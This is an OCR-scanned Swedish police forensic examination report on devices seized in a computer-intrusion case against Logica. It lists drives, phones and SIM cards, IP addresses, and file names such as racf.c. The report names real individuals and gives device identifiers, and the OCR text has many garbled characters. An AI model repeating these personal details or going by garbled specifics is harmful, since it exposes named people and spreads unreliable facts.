U ndersökn ingsprotokol l  för beslag 20 1 2-020 1 -BG1 4336, 20 1 3-03-27 1 7 :39 d iar ienr :  020 1 -K8 1 864- 1 2 

Polismyndigheten i Stockholms län 

Bilagor 

Bilaga 20 1 2-020 1 -BG 14336-39 . 1 
Bilaga 20 1 2-020 1 -BG14336-39.2 

Refererar till 

20 1 3-0 l -2 1  

out.txt 
out2. txt 

Chatt i "Undersökningsprotokoll för beslag 20 1 2-020 1 -BG1 022 1 samt 
inhämtad data från Passagen.se" 

020 1 -K8 1 864- 1 2  

324 

4 



Undersökningsprotokol l för beslag 201 2-020 1 -BG 1 4336, 20 1 3-03-27 1 7 :39 d iarienr: 020 1 -K8 1 864- 1 2 

Polismyndigheten i Stockholms län 20 1 3-0 1 -2 1  020 1 -K8 1 864- 1 2  

Tabellförteckning 

Tabell 1 Utdrag ur internethistoriken från Google Chrorne . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 9  

Tabe11 2 Utdrag ur internethistoriken från Google Chrorne . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 9  

Tabell 3 Utdrag ur internethistoriken från Google Chrorne . . . . . . . . . . . . . . . . . . . . . . . . . . . .  2 1  

Tabell 4 Utdrag ur internethistoriken från Google Chrorne . . . . . . . . . . . . . . . . . . . . . . . . . . . .  2 1  

325 

5 



Undersökn ingsprotokol l för beslag 201 2-020 1 -BG 1 4336 , 20 1 3-03-27 1 7 :39 d iarienr :  020 1 -K8 1 864- 1 2  

Polismyndigheten i Stockholms län 20 1 3-0 1 -2 1  020 1 -K8 1 864- 1 2  

2012-0201-B G  14336-2 

Hårddisk IBM Deskstar 6 1 GB,  SIN: A3C6DS4A 

Iakttagelser och undersökningar 

På den undersökta hårddisken återfanns ingenting som tyder på att den använts 
sedan den 8 oktober 2005 och inte heller någonting som tyder på att den skulle 
vara relevant för utredningen. 

2012-0201-BG 14336-3 

Hårddisk IBM Deskstar 6 1 GB ,  SIN: TZ1 29084 

Iakttagelser och undersökningar 

Det påträffades chatt från hack. se från 2002 i övrigt inget av intresse för 
utredningen. 

326 

6 



Undersökn ingsprotokol l  för beslag 20 1 2-020 1 -BG 1 4336 , 20 1 3-03-27 1 7 :39 d iarienr: 020 1 -K8 1 864- 1 2  

327 

Polismyndigheten i Stockholms län 20 1 3-0 1 -2 1  020 1 -K8 1 864- 1 2 7 

2012-0201-BG 14336-4 

Hårddisk Fujitsu MHK2060AT 6GB, SIN: 0 1 108460 

Iakttagelser och undersökningar 

Innehållet bedömdes inte som relevant för utredningen. 

2012-0201-BG 14336-6 

Hårddisk Hitachi Desktar 250GB, SIN: A6G2BBA 1 

Iakttagelser och undersökningar 

Innehållet bedömdes inte som relevant för utredningen. 



Undersökn ingsprotokol l  för beslag 201 2-0201 -BG 1 4336, 20 1 3-03-27 1 7 :39 d iarienr: 020 1 -K8 1 864-1 2 

Polismyndigheten i Stockholms län 20 1 3-0 1 -2 1  020 1 -K8 1 864- 1 2  

2012-0201-B G  14336-7 

Hårddisk Hitachi Desktar 250GB, SIN: CFEYBB23A 

Iakttagelser och undersökningar 

På den undersökta hårddisken återfanns ingenting som tyder på att den använts 
sedan 2009 . Innehållet bedömdes inte som relevant för utredningen. 

2012-0201-BG14336-8 - "Xbox 360" 

Iakttagelser och undersökningar 

Innehållet bedömdes inte som relevant för utredningen. 

328 

8 



Undersökn ingsprotokol l för beslag 201 2-020 1 -BG 1 4336 , 201 3-03-27 1 7 :39 d iar ienr :  020 1 -K8 1 864-1 2 

Polismyndigheten i Stockholms län 20 1 3-0 1 -2 1  

2012-0201-BG 14336-12 

Hårddisk Seagate Barracuda 500GB, SIN: 9QM5PQ8C 

Iakttagelser och undersökningar 

Hårddisken har inte gått att läsa på grund av mekaniskt fel eller trasigt 
kontrollerkort 

2012-0201-BG 14336-13 

Hårddisk Samsung Spinpoint 250GB, SIN: S09QJ 1DLC04689 

Iakttagelser och undersökningar 

Hårddisken har inte gått att läsa på grund av mekaniskt fel eller trasigt 
kontrollerkort 

020 1 -K8 1 864- 1 2  

329 

9 



Undersökn ingsprotokol l för beslag 201 2-020 1 -88 1 4336 , 20 1 3-03-27 1 7 :39 d iar ienr: 0201 -K8 1 864-1 2 

Polismyndigheten i Stockholms län 20 1 3-0 1 -2 1  

2012-0201-BG14336-14 - "Jennys dator" 

Dator HP Compaq Mini 700, SIN: CNU9201VOF 

Iakttagelser och undersökningar 

020 1 -K8 1 864- 1 2  

Datorn tillhör Jenny Olsson. Användaren "snigel" har en krypterad 
hemkatalog och som inte har kunnat analyseras . I övrigt har innehållet inte 
bedömdes som relevant för utredningen. 

2012-0201-BG14336-17 - "Juliens dator" 

Dator MaeBook Air A1369,  SIN: C02HFDK1DJWT 

Iakttagelser och undersökningar 

Datorn tillhör Julien Nebbout. Innehållet bedömdes inte som relevant för 
utredningen. 

330 

1 0  



Undersökn ingsprotokol l  för beslag 20 1 2-020 1 -BG1 4336 , 20 1 3-03-27 1 7 :39 d iar ienr:  020 1 -K8 1 864-1 2 

Polismyndigheten i Stockholms län 20 1 3-0 1 -2 1  

2012-0201-BG14336-19 

Minneskort Kingston 2GB 

Iakttagelser och undersökningar 

Innehållet bedömdes inte som relevant för utredningen. 

2012-0201-BG 14336-20 

USB-minne 5 12MB 

Iakttagelser och undersökningar 

Innehållet bedömdes inte som relevant för utredningen. 

020 1 -K8 1 864- 1 2  

3 3 1  

1 1  



U ndersökn ingsprotokol l för beslag 20 1 2-020 1 -881 4336 , 20 1 3-03-27 1 7 :39 d iarienr: 0201 -K8 1 864-1 2 

Polismyndigheten i Stockholms län 20 1 3-0 1 -2 1  

2012-0201-BG 14336-22 

Hårddisk Samsung Spinpoint 1 60GB, SIN: S01 6YIOY106038 

Iakttagelser och undersökningar 

Innehållet bedömdes inte som relevant för utredningen. 

2012-0201-BG 14336-23 

Hårddisk IBM Deskstar 30GB, SIN: YKM93258 

Iakttagelser och undersökningar 

Hårddisken har inte gått att läsa på grund av mekaniskt fel eller trasigt 
kontrollerkort 

020 1 -K8 1 864- 1 2  
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Undersökn ingsprotokol l  för beslag 20 1 2-020 1 -BG 1 4336 , 201 3-03-27 1 7 :39 d iarienr: 020 1 -K8 1 864- 1 2 

Polismyndigheten i Stockholms län 20 1 3-0 1 -2 1  020 1 -K8 1 864- 1 2  

2012-0201-BG 14336-24 

Hårddisk Fujitsu MPG3409AT 40,9GB, SIN: VH74T1 604C 1 3  

Iakttagelser och undersökningar 

På den undersökta hårddisken återfanns ingenting som tyder på att den använts 
sedan 2008. Innehållet bedömdes inte som relevant för utredningen. 

2012-0201-BG 14336-25 

Hårddisk Maxtor Diamond Plus 9 1 60GB, SIN: Y44QX3HE 

Iakttagelser och undersökningar 

Hårddisken ser ut att tillhöra Julien Nabbout och kan innehålla chatt från 
hack. se. Innehållet bedömdes inte som relevant för utredningen. 

333 

1 3  



Undersökn ingsprotokol l  för beslag 201 2-020 1 -BG 1 4336, 20 1 3-03-27 1 7 :39 d iarienr: 020 1 -K8 1 864-1 2 

Polismyndigheten i Stockholms län 20 1 3-0 1 -2 1  020 1 -K8 1 864- 1 2  

2012-0201-BG14336-27 - "PS3" 

Iakttagelser och undersökningar 

Startad och undersökt genom liveundersökning, innehållet bedömdes inte som 
relevant för utredningen. 

2012-0201-BG14336-28 

Hårddisk Hitachi HTS54 1 60J9SACO 1 60GB, SIN: SFHM49KE 

Iakttagelser och undersökningar 

På den undersökta hårddisken återfanns ingenting som tyder på att den använts 
sedan 2008 . 

Hårddisken har troligen suttit i ett Playstation 3 .  Det påträffades en partition 
med en Ubuntu 8 .4 samt delar från ett Playstation 3 operativsystem. Innehållet 
bedömdes inte som relevant för utredningen. 
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Undersökningsprotokol l  för beslag 20 1 2-020 1 -BG1 4336 , 20 1 3-03-27 1 7 :39 d iarienr :  020 1 -K8 1 864-1 2 

335 

Polismyndigheten i Stockholms län 20 1 3-0 1 -2 1  020 1 -K8 1 864- 1 2  1 5  

2012-0201-BG 14336-30 

USB-minne Kingston Datatraveler 4 GB 

Iakttagelser och undersökningar 

Innehållet bedömdes inte som relevant för utredningen. 

2012-0201-BG14336-32 

Hårddisk Western Digital Enterprise 4360 4GB, SIN: WS70 1095000 

Iakttagelser och undersökningar 

Innehållet bedömdes inte som relevant för utredningen. 



Undersökn ingsprotokol l  för beslag 20 1 2-020 1 -BG1 4336 , 201 3-03-27 1 7 :39 d iarien r: 020 1 -K8 1 864- 1 2 

336 

Polismyndigheten i Stockholms län 20 1 3-0 1 -2 1  020 1 -K8 1 864- 1 2 1 6  

2012-0201-B G  14336-33 

Digitalkamera Sony Cybershot 

Iakttagelser och undersökningar 

Inga bilder återfanns på kamerans minneskort 

2012-0201-BG 14336-34 

Digitalkamera Fujifilrn Finepix . 

Iakttagelser och undersökningar 

Inga bilder återfanns på karnerans minneskort 



Undersökningsprotokol l  för beslag 20 1 2-0201 -BG 1 4336 , 201 3-03-27 1 7 :39 d iar ienr: 020 1 -K8 1 864-1 2 

Polismyndigheten i Stockholms län 20 1 3-0 1 -2 1  

2012-0201-BG14336-35 - "Mae mini" 

Dator Mae Mini 
Hårddisk Hitachi 1 20GB 

Iakttagelser och undersökningar 

Innehållet bedömdes inte som relevant för utredningen. 

0201-2012-BG14336-37 

USB-minne PQ1 5 1 2MB 

Iakttagelser och undersökningar 

Innehållet bedömdes inte som relevant för utredningen. 

020 1 -K8 1 864- 1 2  

337 
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Undersökn ingsprotokol l för beslag 20 1 2-020 1 -B G 1 4336, 20 1 3-03-27 1 7 :39 d iar ienr:  020 1 -K8 1 864-1 2 

Polismyndigheten i Stockholms län 20 1 3-0 1 -2 1  020 1 -K8 1 864- 1 2  

2012-0201-BG14336-39 - "MacBook Pro" 

Dator MaeBook Pro 

Iakttagelser och undersökningar 

Operativsystem 

På den undersökta datorn var operativsystemet Mae OS X, 1 0.7 .4, installerat. 
Det fanns två tillagda användarkonton, "knumbi" och "krs" .  

Filer och kataloger 

Direkt under användaren "krs" hemkatalog påträffades filerna "DATA "  och " 

racf c " . Filen "DATA " innehöll data som kommer från Logica. 

F I L NAMN SÖKVÄG 

DATA l P a rt it ian 2/U s e r s / krs /DATA 

S KAPAD l 2012 - 0 3 - 3 1 1 3 : 08 : 2 8 l 
S E NAST ÄNDRAD l 2012 - 0 3 - 3 1 1 3 : 08 : 34 l 

F I LNAMN l SÖKVÄG 

r a cf . c  l P a rtit ian 2/Us e r s / k r s / r a c f . c  

S KAPAD l 2012 - 0 3 - 26 20 : 2 3 : 5 6 l 
S ENAST ÄNDRAD l 201 2 - 0 3 - 26 20 : 23 : 5 6 l 

I användaren "krs" katalog för nedladdade filer påträffades filen " racf c " . 

F I L NAMN l SÖKVÄG 

r a cf . x  l P a rt it ian 2 / U s e r s / k r s / Dawn laad s / ra c f . c  

S KAPAD l 2012 - 0 3 - 2 5 2 3 : 59 : 45 l 
S E NAST ÄNDRAD l 201 2 - 0 3 - 2 5  23 : 59 : 45 l 
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U ndersökn ingsprotokol l  för beslag 201 2-020 1 -BG 1 4336, 20 1 3-03-27 1 7 :39 d iarienr :  020 1 -K8 1 864- 1 2 

Polismyndigheten i Stockholms län 20 1 3-0 1 -2 1  020 1 -K8 1 864- 1 2  

lP-adresser 

124.248.187.22 

Cogetel Online, Kambodja  

lP-adressen 1 24.248 . 1 87 .22 förekom i FTP loggar från Logica samt i 
Applicates loggar över adresser som använts för slagningar mot Infotorg. 

På hårddisken återfanns flera referenser till lP-adressen 1 24.248 . 1 87 .22, bland 
annat i internethistoriken för webbläsaren Google Chrorne där lP-adressen har 
besökts vid ett tillfälle. 

Date Vi s ited - J U R L  T i t l e  
l Vi s it 

UTC Count  
z e ro 
q u i c h e  

2012 - 0 3 - 05 1 8 : 08 http : / 1 1 24 . 248 . 187 . 22/ eaters  l l 
operating 
system 

Tabell l Utdrag ur  internethistoriken från Google Chrorne 

124.248.167.191 

Cogetel Online, Kambodja 

Vid två tillfällen påträffades lP-adressen 1 24.248 . 1 67 . 1 9 1  i internethistoriken 
för Google Chrome. Två textfiler har besökts på denna adress och filernas 
innehåll har sparats temporärt för snabbvisning. 

Filerna "out. txt " och "out2. txt " innehöll vad som sannolikt är delar av 
skatteverkets rådata för Gottfrid Svartholm W arg respektive för Fredrik Neij . 
Se bilaga 20 1 2-020 1 -BG14336-39 . 1 out respektive bilaga 20 1 2-020 1 -
BG14336-39.2 out2. 

Filer med samma namn och innehåll har även påträffats i beslag 20 1 2-020 1 -
BG25023-26. 

Date V i s ited -
UTC 

UR L  

2012 - 0 3 - 24 1 3 : 47 http : / / 1 24 . 248 . 167 . 19 1 : 3980/out 2 . txt 

2012 - 03 - 24 18 : 30  http : / 1 1 24 . 248 . 167 . 19 1 : 3980/out . txt 

Tabell 2 Utdrag ur internethistoriken från Google Chrorne 

Analys och slutsats 

Title 
Visit 

Att filerna "out. txt " och "out2. txt " även har påträffats i Svartholm W args 
beslag talar tillsammans med den kambodjanska lP-adressen för att det är 
därifrån Smedlund fått materialet. 

Innehållet i filen "/U sers/krs/DATA " kan inte ha åtkommits genom 
webbläsartrafik till Infotorg eller Logica utan måste aktivt ha sparats av 
användaren. Det går dock inte att utesluta att även denna fil laddads ner från 
Svartholm W arg enligt resonemanget ovan. 
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U ndersökningsprotokol l  för beslag 20 1 2-020 1 -BG 1 4336 , 201 3-03-27 1 7 :39 d iarienr: 020 1 -K8 1 864-1 2 

Polismyndigheten i Stockholms län 

2012-0201-BG 14336-40 

NAS D-LINK DNS320 
Hårddisk Hitachi l TB, SIN:  MH1 1U5LW 

Iakttagelser och undersökningar 

20 1 3-0 1 -2 1  

Innehållet bedömdes inte som relevant för utredningen. 

2012-0201-BG 14336-41 

Dator vit stationär. 
Hårddisk 

Iakttagelser och undersökningar 

lP-adresser 

124.248.187.22 

Cogetel Online, Kambodja  

020 1 -K8 1 864- 1 2  

340 

20 



Undersökn ingsprotokol l  för beslag 20 1 2-020 1 -88 1 4336 , 20 1 3-03-27 1 7 :39 d iarienr: 020 1 -K8 1 864-1 2 

Polismyndigheten i Stockholms län 20 1 3-0 1 -2 1  020 1 -K8 1 864- 1 2  

lP-adressen 124.248 . 1 87 .22 förekom i FTP loggar från Logica samt i 
Applicates loggar över adresser som användes för slagningar mot Infotorg. 

På hårddisken återfanns flera referenser till lP-adressen 1 24.248 . 1 87 .22, bland 
annat i internethistoriken för webbläsaren Google Chrorne där lP-adressen har 
besökts vid ett tillfälle. 

Date V i s ited -
UTC 

2012 - 0 3 - 0 5  18 : 08 

U R L  

http : ! / 1 24 . 248 . 187 . 22/ 

Tabell 3 Utdrag ur  internethistoriken från Google Chrorne 

124.248.167.191 

Cogetel Online, Kambodja  

Title  

z e ro  
q u i c he 
eaters  l 
operat i n g  
system 

V i s i t  
C o u n t  

l 

Vid ett tillfälle påträffades lP-adressen 1 24.248 . 1 67 . 1 9 1  i internethistoriken 
för Google Chrome. Textfilen "out2. txt " har besökts på denna adress. 

En fil med samma namn "out. txt2 " påträffades i beslag 20 1 2-020 1 - BG14336-
39 .  Filen innehöll vad som sannolikt var delar av skatteverkets rådata för 
Fredrik Neij . Se beslag 20 1 2-020 1 -BG14336-39. 

Filer med samma namn och innehåll har även påträffats i beslag 20 1 2-020 1 -
BG25023-26. 

Date V i s ited -
UTC 

U R L  

l 2012 - 0 3 - 24 1 3 : 47 l http : / / 1 24 . 248 . 167 . 19 1 : 3980/out 2 . txt 

Tabell 4 Utdrag ur internethistoriken från Google Chrorne 

Analys och slutsats 

Tit le  

Att filen "out2. txt " även har påträffats i Svartholm W args beslag talar 
tillsammans med den kambodjanska lP-adressen för att det är därifrån 
Smedlund fått materialet. 

Vis it 
Cou nt 

34 1 

2 1  



Undersökn ingsprotokol l  Beslag 201 2-020 1 - BG25023,  Mobi l ,  201 3-03-2 1 1 6 :24 d iarienr: 020 1 -K8 1 864- 1 2 

Polisen 
Pol ismyndig heten i Stockho lms län 

Länskriminalpolisavdelningen 
!T-forensiska sektionen 

Undersökni ngsprotokol l  
Datum 

20 1 3-03-2 1 

Diarienr (åberopas vid korresp) 

020 1 -K8 1 864- 1 2  

Undersökningsprotokoll för beslag 2012-0201- BG25023 

Utredn ingsman Bestäl lande enhet Telefon t i l l  utredn ingsman 

Olle Wahlström LU/IT 

Handläggare på !T-forensiska sektionen Medundersökare 

IT-forensiker Robert Pock 

Arendetyp Undersökn ingstyp 

Dataintrång Analys av mobila enheter 

I n kom t i l l iT-forensiska sektionen Undersökningen påbörjad datum 

20 1 2-09- 1 9  20 1 2-09- 1 9  

Undersökningsadress 

Norra Agnegatan 33  

Inledning 

!T-forensiska sektionen fick i uppgift att avläsa befintlig information samt 
försöka återskapa eventuellt raderad data ur två mobiltelefoner, ett sim-kort 
samt ett mobilt bredbandsmodem. Grunden till undersökningen är utredning 
av datorintrång. 

Sammanfattning 

Ingenting som bedömdes vara relevant för utredningen påträffades i någon av 
beslagspunktema. 

342 
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Undersökn ingsprotokol l  Beslag 20 1 2-020 1 - BG25023 , Mobi l ,  201 3-03-2 1 1 6 :24 d iarienr: 020 1 -K8 1 864- 1 2  

343 

Polismyndigheten i Stockholms län 20 1 3-03-2 1 020 1 -K8 1 864- 1 2  2 

Innehållsförteckning 
Inledning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  l 
Sammanfattning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  l 
20 1 2-020 1 -BG25023-9 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  3 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  3 

20 1 2-020 1 -BG25023- 1 1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  4 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  4 

20 1 2-020 1 -BG25023- 1 8  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  5 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  5 

20 1 2-020 1 -BG25023- 1 9  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  6 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  6 



Undersökningsprotokol l Beslag 20 1 2-020 1 - BG25023 ,  Mobi l ,  201 3-03-2 1 1 6 :24 d iarienr: 020 1 -K8 1 864- 1 2 

Polismyndigheten i Stockholms län 

2012-0201-BG25023-9 

Mobilt bredband USB-modem 

Fabrikat: Huawei 
Modell: E220 
�El: 3550830 1 2468695 

S�-kort: Ja 
Operatör: Tre 
ICCID: 894607080295004 1699 
PIN-kod: Inaktiv 

Sim-kortet avlästes separat. 

20 1 3-03-2 1 020 1 -K8 1 864- 1 2  

Bild 1 :  20 1 2-020 1 -BG25023-9, framsida Bild 2:  20 1 2-020 1 -BG25023-9, baksida 

Sim-kort som satt i beslagspunkt 20 1 2-020 1 -B G25023-9. 

Iakttagelser och undersökningar 

Ingenting som bedömdes vara relevant för utredningen påträffades. 

344 
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Undersökningsprotokol l Beslag 201 2-020 1 - BG25023 ,  Mobi l ,  201 3-03-2 1 1 6 :24 d iarienr: 020 1 -K8 1 864- 1 2 

Polismyndigheten i Stockholms län 

2012-0201-BG 25023-1 1  

Sim-kort 
ICCTID: 89462040230090040644 
Operatör: Tele2 
PIN-kod: Inaktiv 

Sim-kortet avlästes separat. 

20 1 3 -03-2 1 

Bild 4 :  20 1 2-020 1 -BG25023 - 1 1 ,  baksida 

Iakttagelser och undersökningar 

Ingenting som bedömdes vara relevant för utredningen påträffades. 

020 1 -K8 1 864- 1 2  
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U ndersökn ingsprotokol l  Beslag 20 1 2-020 1 - BG25023,  Mobi l ,  201 3-03-2 1 1 6 :24 d iarienr: 020 1 -K8 1 864- 1 2  

Polismyndigheten i Stockholms län 

2012-0201-BG25023-18 

Mobiltelefon 
Fabrikat: Apple 
Modell : iPhone 3GS 
U\1EI: 0 1 1 773008385 105 

SU\1-kort: Ja 
Operatör: Tre 
ICCTID: 8946070802850068636 
PIN-kod: Okänd 

Telefonen avlästes fysiskt 

Bild 5 :  20 1 2-020 1 -BG25023- 1 8 , 
framsida 

Iakttagelser och undersökningar 

20 1 3-03-2 1 020 1 -K8 1 864- 1 2  

Bild 6 :  20 1 2-020 1 -BG25023- 1 8 , 
baksida 

Bild 7: Sim-kort med tillhörande 
ram som satt i beslagspunkt 

20 1 2-020 1 -BG25023- 1 8 .  

Ingenting som bedömdes vara relevant för utredningen påträffades. 
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Undersökn ingsprotokol l  Beslag 201 2-020 1 - BG25023,  Mobi l ,  20 1 3-03-2 1 1 6 :24 d iar ienr :  020 1 -K8 1 864- 1 2 

Polismyndigheten i Stockholms län 

2012-0201-BG25023-19 

Fabrikat: Nokia 
Modell : 1 280 
U\1EI: 3593 1604770 1963 

SU\1-kort: Ja 
ICCTID: 898550802003422827 1 2  
Operatör: Metfone 
PIN-kod: Inaktiv 

20 1 3-03-2 1 020 1 -K8 1 864- 1 2  

Telefonen avlästes logiskt. Därefter avlästes hela minnet fysisk, genom en 
förstörande undersökning. 

Bild 8: 20 1 2-020 1 -BG25023 - 19, 
framsida. 

Iakttagelser och undersökningar 

Bild 9: 20 1 2-020 1 -BG25023- 19 ,  
etikett bakom batteri. 

Bild 1 0 : Sim-kort som satt i 
beslagspunkt 20 1 2-020 1 -BG25023-
19 .  

Ingenting som bedömdes vara relevant för utredningen påträffades. 

347 
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Undersökningsprotokol l  beslag 20 1 2-020 1 -8825023 Log ica ,  201 3-03-28 07:38 d iar ienr: 020 1 -K8 1 864- 1 2 

Polisen Undersökningsprotokol l  
Datum 

Pol ismynd igheten i Stockho l m s  län 20 1 3-03-28 Version 0 . 1 .6 

Länskriminalpolisavdelningen Diarienr (åberopas vid korresp) 

IT-forensiska sektionen 020 1 -K8 1 864- 12 

Undersökningsprotokoll för beslag 2012-0201-BG25023 avseende 
intrång riktat mot Logica 

Utredn ingsman Bestäl lande enhet Telefon t i l l  utredn ingsman 

Kriminalinspektör Olle Wahlström LU/S 

Handläggare på !T-forensiska sektionen Medundersökare 

Kriminalinspektör Olle Wahlström 
IT-forensiker Joakim Persson 

Arendetyp Undersökn ingstyp 

Dataintrång Analys av IT -media 

I nkom t i l l iT-forensiska sektionen Undersökn ingen påbörjat datum 

20 1 2-09-06 20 1 2-09-06 

Undersökningsadress 

Inledning 

Under utredningen angående dataintrång mot Logica framkom att flera av de lP
adresser som använts vid intrånget var hemmahörande i Kambodja. 

Vid undersökning av datorer tillhörande Mathias Gustafsson hittades körkort 
och kontokortsuppgifter tillhörande Gottfrid Svartholm W arg. Den adress som 
angavs på körkort fanns i Kambodja. Vid undersökning återfanns även loggfiler 
från chattkonversationer där personer, som antogs vara W arg och Gustavsson, 
diskuterade intrånget mot Logica. 

På grund av dessa uppgifter lämnades en begäran om rättshjälp till 
kambodjanska myndigheter och Gottfrid Svartholm W arg greps en tid senare i 
Kambodja.  

348 
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U ndersökningsprotokol l  beslag 201 2-020 1 -BG25023 Log ica ,  20 1 3-03-28 07:38 d iarienr: 020 1 -K8 1 864- 1 2  

Polismyndigheten i Stock:holms län 20 1 3-0 1 -2 1  020 1 -K8 1 864- 1 2 

Sammanfattning 

I det undersökta materialet återfanns data som kommer från Logicas servrar. Det 
var både filer tillhörande Logica och filer som av en angripare laddats upp till 
Logicas system. 

I det undersökta materialet återfanns loggfiler som visar överföringar av filer till 
och från Logicas system. A v loggfilerna framgår även hur man gör om, och 
döper om, filer man skapat på systemet. 

Flera av de lP-adresser som använts vid intrånget mot Logica kan knytas till de 
undersökta datorerna. 

Innehållsförteckning 

Inledning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  l 

Sammanfattning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  2 

Innehållsförteckning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  2 

Bilagor . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  5 

20 1 2-020 1 -BG25023- 1  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  6 

Filer och kataloger . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  6 

Dataset . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  6 

20 1 2-020 1 -BG25023-2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  8 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  8 

Hercules . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  8 

Konfiguration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  9 

Terminalanslutningar till Hercules . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 1  

wc3270 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 2  

Mocha TN3270 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 2  

Filen hasts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  14  

Sammanfattning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  l 5  

20 1 2-020 1 -BG25023-3 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 5  

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 5  

20 1 2-020 1 -BG25023-4 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 6  

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 6  

20 1 2-020 1 -BG25023-5 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 6  

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 6  

20 1 2-020 1 -BG25023-26 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 6  

Mac-partitionen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 7  

Windows-partitionen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 8  

